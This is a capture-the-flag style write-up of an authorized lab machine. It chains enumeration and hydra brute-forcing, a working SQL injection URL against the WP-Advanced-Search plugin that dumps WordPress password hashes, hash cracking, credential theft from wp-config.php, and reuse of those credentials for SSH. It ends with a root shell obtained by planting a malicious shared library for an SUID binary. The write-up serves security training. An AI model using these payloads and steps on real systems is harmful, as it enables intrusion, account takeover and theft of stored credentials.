Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
This lab explores an unauthenticated SQL injection vulnerability in the WP-Advanced-Search plugin (CVE-2024-9796). By exploiting this flaw, an attacker can enumerate WordPress users, extract password hashes, and crack them to gain FTP access. Further, the attacker retrieves database credentials from wp-config.php, leading to SSH access. Privilege escalation is achieved via an SUID binary vulnerable to shared object injection, granting full root control.
Scenario
This lab challenges participants to exploit a critical unauthenticated SQL injection vulnerability in the WP-Advanced-Search WordPress plugin (CVE-2024-9796). Learners will begin by performing service enumeration to discover an exposed WordPress instance. Through SQL injection, they will enumerate users and extract password hashes, which are then cracked to gain FTP access. With access to the WordPress directory, participants will retrieve sensitive database credentials from wp-config.php and pivot to SSH access. The final stage involves escalating privileges via a misconfigured SUID binary vulnerable to shared object injection, ultimately granting root access and flag capture. This lab is ideal for ethical hackers, red teamers, and web application security professionals seeking to strengthen their skills in full-chain exploitation. Key skills include SQL injection, password cracking, lateral movement via service credentials, and privilege escalation through binary exploitation. The lab emphasizes the dangers of insecure plugins, poor credential management, and misconfigured binaries in web hosting environments.
Learning objectives
After completing this lab, learners will be able to:
- Perform reconnaissance and identify open services.
- Exploit SQL injection to dump WordPress user credentials.
- Crack password hashes and gain access via FTP.
- Retrieve database credentials from wp-config.php and obtain SSH access.
- Exploit a vulnerable SUID binary to escalate privileges and capture the final flag.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
wpscan --url http://192.168.178.229/ --enumerate u,ap
...
User(s) Identified:
[+] admin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] charlie
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] ted
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
...This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/Tools/Linux]
# Discover application paths and files that may expand the attack surface.
└─$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://192.168.178.229 -x php,txt -t 40 --exclude-length 0
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.178.229
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.8.2
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
wp-content (Status: 301) [Size: 178] [--> http://192.168.178.229/wp-content/]
wp-admin (Status: 301) [Size: 178] [--> http://192.168.178.229/wp-admin/]
wp-includes (Status: 301) [Size: 178] [--> http://192.168.178.229/wp-includes/]
xmlrpc.php (Status: 405) [Size: 42]
wp-trackback.php (Status: 200) [Size: 135]
wp-login.php (Status: 200) [Size: 4455]
license.txt (Status: 200) [Size: 19915]
Progress: 25619 / 89997 (28.47%)^CThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/workaholic]
# Execute the next evidence-gathering step in the authorized lab.
└─$ hydra -L ./usernames.txt -P /usr/share/wordlists/rockyou.txt workaholic.offsec http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you entered for the username"
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-21 16:39:47
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43033197 login tries (l:3/p:14344399), ~2689575 tries per task
[DATA] attacking http-post-form://workaholic.offsec:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you entered for the username
[STATUS] 2728.00 tries/min, 2728 tries in 00:01h, 43030469 to do in 262:54h, 16 active
[80][http-post-form] host: workaholic.offsec login: admin
[STATUS] 4782350.67 tries/min, 14347052 tries in 00:03h, 28686145 to do in 00:06h, 16 active
[80][http-post-form] host: workaholic.offsec login: charlie
[80][http-post-form] host: workaholic.offsec login: ted
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-21 16:46:29- Hydra did not crack any passwords
- Exploring more using gobustr, searching for plugins
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Discover application paths and files that may expand the attack surface.
gobuster dir -u http://192.168.178.229/wp-content/plugins/ -w ~/offsec/Tools/WordPress-Plugins-List/plugins.txt -t 10 --delay 200ms --exclude-length 0
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.178.229/wp-content/plugins/
[+] Method: GET
[+] Threads: 10
[+] Delay: 200ms
[+] Wordlist: /home/kali/offsec/Tools/WordPress-Plugins-List/plugins.txt
[+] Negative Status codes: 404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
akismet (Status: 301) [Size: 178] [--> http://192.168.178.229/wp-content/plugins/akismet/]
Progress: 13914 / 80086 (17.37%)[ERROR] error on word coupiliaplus: timeout occurred during the request
[ERROR] error on word coupine-lite: timeout occurred during the request
[ERROR] error on word coupon-by-roles-for-woocommerce: timeout occurred during the request
[ERROR] error on word coupon-card: timeout occurred during the request
[ERROR] error on word coupon-code-chocolate-factory: timeout occurred during the request
[ERROR] error on word coupon-code-plugin: timeout occurred during the request
[ERROR] error on word coupon-creator: timeout occurred during the request
[ERROR] error on word coupon-dekho: timeout occurred during the request
[ERROR] error on word coupon-first-buy-only: timeout occurred during the request
[ERROR] error on word coupon-generator-for-woocommerce: timeout occurred during the request
Progress: 16830 / 80086 (21.01%)^C- it was taking too long for plugin scan to run
- Using the curl to search for plugin
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
─(kali㉿kali)-[~/offsec/workaholic]
# Retrieve and inspect the web response from the target.
└─$ curl -s http://192.168.178.229/ | grep -oE 'wp-content/plugins/[^/]+' | sort -u
wp-content/plugins/wp-advanced-searchThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Retrieve and inspect the web response from the target.
└─$ curl "http://workaholic.offsec/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20--&f=user_login&type=&e"
admin
charlie
tedThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
kali㉿kali)-[~/offsec/workaholic]
# Retrieve and inspect the web response from the target.
└─$ curl "http://workaholic.offsec//wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20UNION%20SELECT%20user_pass%20FROM%20wp_users--&f=user_login&type=&e"
admin
charlie
ted
$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Attempt to recover a password from the captured hash material.
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
...
Now we got 2 passwords “chrish20, okadamat17”
...This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/workaholic]
# Execute the next evidence-gathering step in the authorized lab.
└─$ hydra -L ./usernames.txt -P ./password.txt workaholic.offsec http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you entered for the username"
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-21 17:33:15
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:3/p:2), ~1 try per task
[DATA] attacking http-post-form://workaholic.offsec:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you entered for the username
[80][http-post-form] host: workaholic.offsec login: ted password: okadamat17
[80][http-post-form] host: workaholic.offsec login: charlie password: chrish20
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-21 17:33:32This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/workaholic]
# Execute the next evidence-gathering step in the authorized lab.
└─$ hydra -L ./usernames.txt -P ./password.txt ftp://192.168.178.229
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-21 17:32:41
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:3/p:2), ~1 try per task
[DATA] attacking ftp://192.168.178.229:21/
[21][ftp] host: 192.168.178.229 login: ted password: okadamat17
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-21 17:32:45This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
charlie@workaholic:~$ strings /var/www/html/wordpress/blog/wp-monitor
/lib64/ld-linux-x86-64.so.2
A.c-eW^
fgets
strcpy
puts
perror
__stack_chk_fail
dlclose
setuid
fopen
__libc_start_main
stderr
fprintf
dlsym
dlopen
__cxa_finalize
dlerror
fclose
__isoc99_sscanf
fwrite
strcmp
libc.so.6
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/var/log/nginx/access.log
Error opening log file
%s - - [%*[^]]] "%s %s %s" %s
POST /wp-login.php
[Warning] Possible brute force attack detected: %s
[+] Checking the logs...
/home/ted/.lib/libsecurity.so
[!] This can take a while...
init_plugin
[!] Function not found in the library!
9*3$"
GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
wp-monitor.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
dlerror@GLIBC_2.34
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
strcpy@GLIBC_2.2.5
puts@GLIBC_2.2.5
_edata
fclose@GLIBC_2.2.5
_fini
__stack_chk_fail@GLIBC_2.4
fgets@GLIBC_2.2.5
__data_start
strcmp@GLIBC_2.2.5
dlopen@GLIBC_2.34
fprintf@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__isoc99_sscanf@GLIBC_2.7
_end
check_bruteforce
__bss_start
main
fopen@GLIBC_2.2.5
perror@GLIBC_2.2.5
dlsym@GLIBC_2.34
fwrite@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@GLIBC_2.2.5
dlclose@GLIBC_2.34
__cxa_finalize@GLIBC_2.2.5
_init
stderr@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.commentThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
#include <stdio.h>
#include <stdlib.h>
void init_plugin() {
setuid(0);
setgid(0);
system("/bin/bash");
}This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
charlie@workaholic:/home/ted$ gcc -shared -fPIC -o libsecurity.so libsecurity.c -Wl,--export-dynamic
libsecurity.c: In function ‘init_plugin’:
libsecurity.c:5:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
5 | setuid(0);
| ^~~~~~
libsecurity.c:6:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
6 | setgid(0);
| ^~~~~~This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
charlie@workaholic:/home/ted$ mkdir ./.lib
# Inspect the directory for files relevant to the next step.
charlie@workaholic:/home/ted$ ls -al
...
drwxrwxr-x 2 charlie charlie 4096 Jun 21 21:50 .lib
...This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
charlie@workaholic:/home/ted$ mv libsecurity.so ./.lib/
charlie@workaholic:/home/ted$Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-generator: WordPress 6.7.2
|_http-title: Workaholic
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel- Tried FTP with
admin:admin,root:root,anonymous:anonymousbut none of them worked - Port 80 is a wordpress, running a wpscan on it
- The WP-Advanced-Search WordPress plugin has a history of critical vulnerabilities, most notably Unauthenticated SQL Injection (CVE-2024-9796), Arbitrary File Uploads, and Remote Code Execution (RCE). These security flaws put affected WordPress sites at risk of complete database compromise and backend takeover.
- WP-Advanced-Search < 3.3.9.2 - Unauthenticated SQL Injection
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/workaholic]
# Inspect the FTP service and retrieve accessible lab files.
└─$ ftp 192.168.178.229 21
Connected to 192.168.178.229.
220 (vsFTPd 3.0.5)
Name (192.168.178.229:kali): ted
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> dir
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rwxr-xr-x 1 1002 1002 405 Mar 27 2025 index.php
-rwxr-xr-x 1 1002 1002 19915 Mar 27 2025 license.txt
-rwxr-xr-x 1 1002 1002 7409 Mar 27 2025 readme.html
-rwxr-xr-x 1 1002 1002 7387 Mar 27 2025 wp-activate.php
drwxr-xr-x 9 1002 1002 4096 Mar 27 2025 wp-admin
-rwxr-xr-x 1 1002 1002 351 Mar 27 2025 wp-blog-header.php
-rwxr-xr-x 1 1002 1002 2323 Mar 27 2025 wp-comments-post.php
-rwxr-xr-x 1 1002 1002 3336 Mar 27 2025 wp-config-sample.php
-rwxr-xr-x 1 1002 1002 3178 Mar 27 2025 wp-config.php
drwxr-xr-x 5 1002 1002 4096 Mar 27 2025 wp-content
-rwxr-xr-x 1 1002 1002 5617 Mar 27 2025 wp-cron.php
drwxr-xr-x 30 1002 1002 12288 Mar 27 2025 wp-includes
-rwxr-xr-x 1 1002 1002 2502 Mar 27 2025 wp-links-opml.php
-rwxr-xr-x 1 1002 1002 3937 Mar 27 2025 wp-load.php
-rwxr-xr-x 1 1002 1002 51367 Mar 27 2025 wp-login.php
-rwxr-xr-x 1 1002 1002 8543 Mar 27 2025 wp-mail.php
-rwxr-xr-x 1 1002 1002 29032 Mar 27 2025 wp-settings.php
-rwxr-xr-x 1 1002 1002 34385 Mar 27 2025 wp-signup.php
-rwxr-xr-x 1 1002 1002 5102 Mar 27 2025 wp-trackback.php
-rwxr-xr-x 1 1002 1002 3246 Mar 27 2025 xmlrpc.php
226 Directory send OK.
ftp> get wp-config.php
local: wp-config.php remote: wp-config.php
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for wp-config.php (3178 bytes).
100% |************************************************************| 3178 1.02 MiB/s 00:00 ETA
226 Transfer complete.
3178 bytes received in 00:00 (128.75 KiB/s)
ftp> exit
221 Goodbye.
┌──(.myenv)─(kali㉿kali)-[~/offsec/workaholic]
# Read the file contents for useful configuration or credential data.
└─$ cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wpadmin' );
/** MySQL database password */
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '%|X7>+ujGW6aeD,T5$V,SdIJ4=G>Wx(,^W|U$)Zb[/3)-*[W:EK+AHH/V Zl?A+8');
define('SECURE_AUTH_KEY', 'lwvqDQt{~|2>9fSbs;^bt,wb+;<lXAr+P@R*/jS}-dqgG]Frb|0_&~!,`||=/o!w');
define('LOGGED_IN_KEY', '~}m3syWu?K6{s}b`bRn|jf%*z.R<Uoi+RTH65i!y&Wi V)w=B3EzHf %j,+I41|o');
define('NONCE_KEY', 'n _Ay4Rxg&?HxS(WqfU&:-gbl$^~+!7V9@NQb%-{K[}d/i~+`U-1(fN8xb$47]mC');
define('AUTH_SALT', 'pEd>^-5$.Tu=H6(d_E]{6sTF_k!lSEztv,-zhzzPc<yPQqX1c;~irIHpKjj5ZxIE');
define('SECURE_AUTH_SALT', 'AjBwd3Sl{F0+C+3Ma~S9s3fG=-W?mt?x+3Z_3+2&.LCs|!n pX5|ta56$[0-t>bw');
define('LOGGED_IN_SALT', ' :+Wl:8U!Jyd2zc wEqYKG}Ug?bQ!b$|_:ktrzixd-<,$]9Vl@($5+Gc9Xvx.(Gm');
define('NONCE_SALT', 'i#u-MwU.K;n-.,;GoISHB|l6,{p::ucK!XOUBq)vXj`^>=9 ;Z<[<nNhvvM(}-u~');
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define('WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/workaholic]
# Execute the next evidence-gathering step in the authorized lab.
└─$ hydra -L ./usernames.txt -P ./password.txt ssh://192.168.178.229
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-21 17:38:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:3/p:2), ~1 try per task
[DATA] attacking ssh://192.168.178.229:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-21 17:38:22
┌──(.myenv)─(kali㉿kali)-[~/offsec/workaholic]
# Execute the next evidence-gathering step in the authorized lab.
└─$ vim db_password.txt
┌──(.myenv)─(kali㉿kali)-[~/offsec/workaholic]
# Execute the next evidence-gathering step in the authorized lab.
└─$ hydra -L ./usernames.txt -P ./db_password.txt ssh://192.168.178.229
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-21 17:39:08
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:3/p:1), ~1 try per task
[DATA] attacking ssh://192.168.178.229:22/
[22][ssh] host: 192.168.178.229 login: charlie password: rU)tJnTw5*ShDt4nOx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-21 17:39:12Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output records the result observed during this authorized lab step.
...
[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/usr/bin/fusermount3
/var/www/html/wordpress/blog/wp-monitor
------------------------------This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Execute the next evidence-gathering step in the authorized lab.
charlie@workaholic:/home/ted$ /var/www/html/wordpress/blog/wp-monitor
[+] Checking the logs...
root@workaholic:/home/ted# id
uid=0(root) gid=0(root) groups=0(root),1001(charlie)This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output confirms the effective user and privilege level of the current session.
root@workaholic:/home/ted# cat /root/proof.txt
ae16673f1c74e4aae6998f7dbdf13840
root@workaholic:/home/ted#Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.